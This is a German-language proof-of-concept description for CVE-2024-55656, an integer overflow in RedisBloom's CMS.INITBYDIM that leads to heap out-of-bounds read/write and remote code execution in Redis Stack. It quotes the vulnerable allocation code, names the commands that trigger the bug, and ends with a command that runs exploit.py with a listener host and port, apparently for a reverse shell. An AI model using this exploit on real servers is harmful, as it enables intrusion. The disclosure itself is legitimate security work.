
Proof-of-Concept-Exploit für CVE-2024-55656, eine Integer-Überlauf in RedisBloom, der zu heap-basiertem OOB-Lesen/Schreiben und Remote-Code-Ausführung in Redis Stack 7.2.0-v10 führt.
Es liegt eine Integer Overflow Sicherheitslücke in RedisBloom (https://github.com/RedisBloom/RedisBloom) vor, einem Modul, das in Redis (https://redis.io/docs/latest/develop/data-types/probabilistic/bloom-filter/) verwendet wird. Die Integer Overflow Sicherheitslücke erlaubt es einem Angreifer (einem Redis-Client, der das Passwort kennt), aufgrund eines Überlaufs weniger Speicher im Heap zu allozieren als erforderlich. Dann können Lese- und Schreiboperationen über diesen alloziierten Speicher hinaus durchgeführt werden, was zu einem Informationsleck und einem Out-of-Bounds-Schreibzugriff (OOB write) führt.
Der Integer Overflow befindet sich im Befehl CMS.INITBYDIM, der einen Count-Min Sketch mit vom Benutzer angegebenen Dimensionen initialisiert. Er akzeptiert zwei Werte (Breite und Tiefe) und verwendet sie, um Speicher in NewCMSketch() zu allozieren.
Datei: src/cms.c
CMSketch *NewCMSketch(size_t width, size_t depth) {
assert(width > 0);
assert(depth > 0);
CMSketch *cms = CMS_CALLOC(1, sizeof(CMSketch));
cms->width = width;
cms->depth = depth;
cms->counter = 0;
cms->array = CMS_CALLOC(width * depth, sizeof(uint32_t));
return cms;
}
OOB-Lesen wird durch den Befehl CMS.QUERY erreicht, der in CMS_Query() implementiert ist.
OOB-Schreiben wird durch den Befehl CMS.INCRBY erreicht, der in CMS_IncrBy() implementiert ist.
Für die vollständige Analyse siehe die Sicherheitsmitteilung
docker run -p 6379:6379 --name redis-stack redis/redis-stack:7.2.0-v10
python exploit.py --host 172.17.0.2 --port 6379 --lhost 172.17.0.1 --lport 4444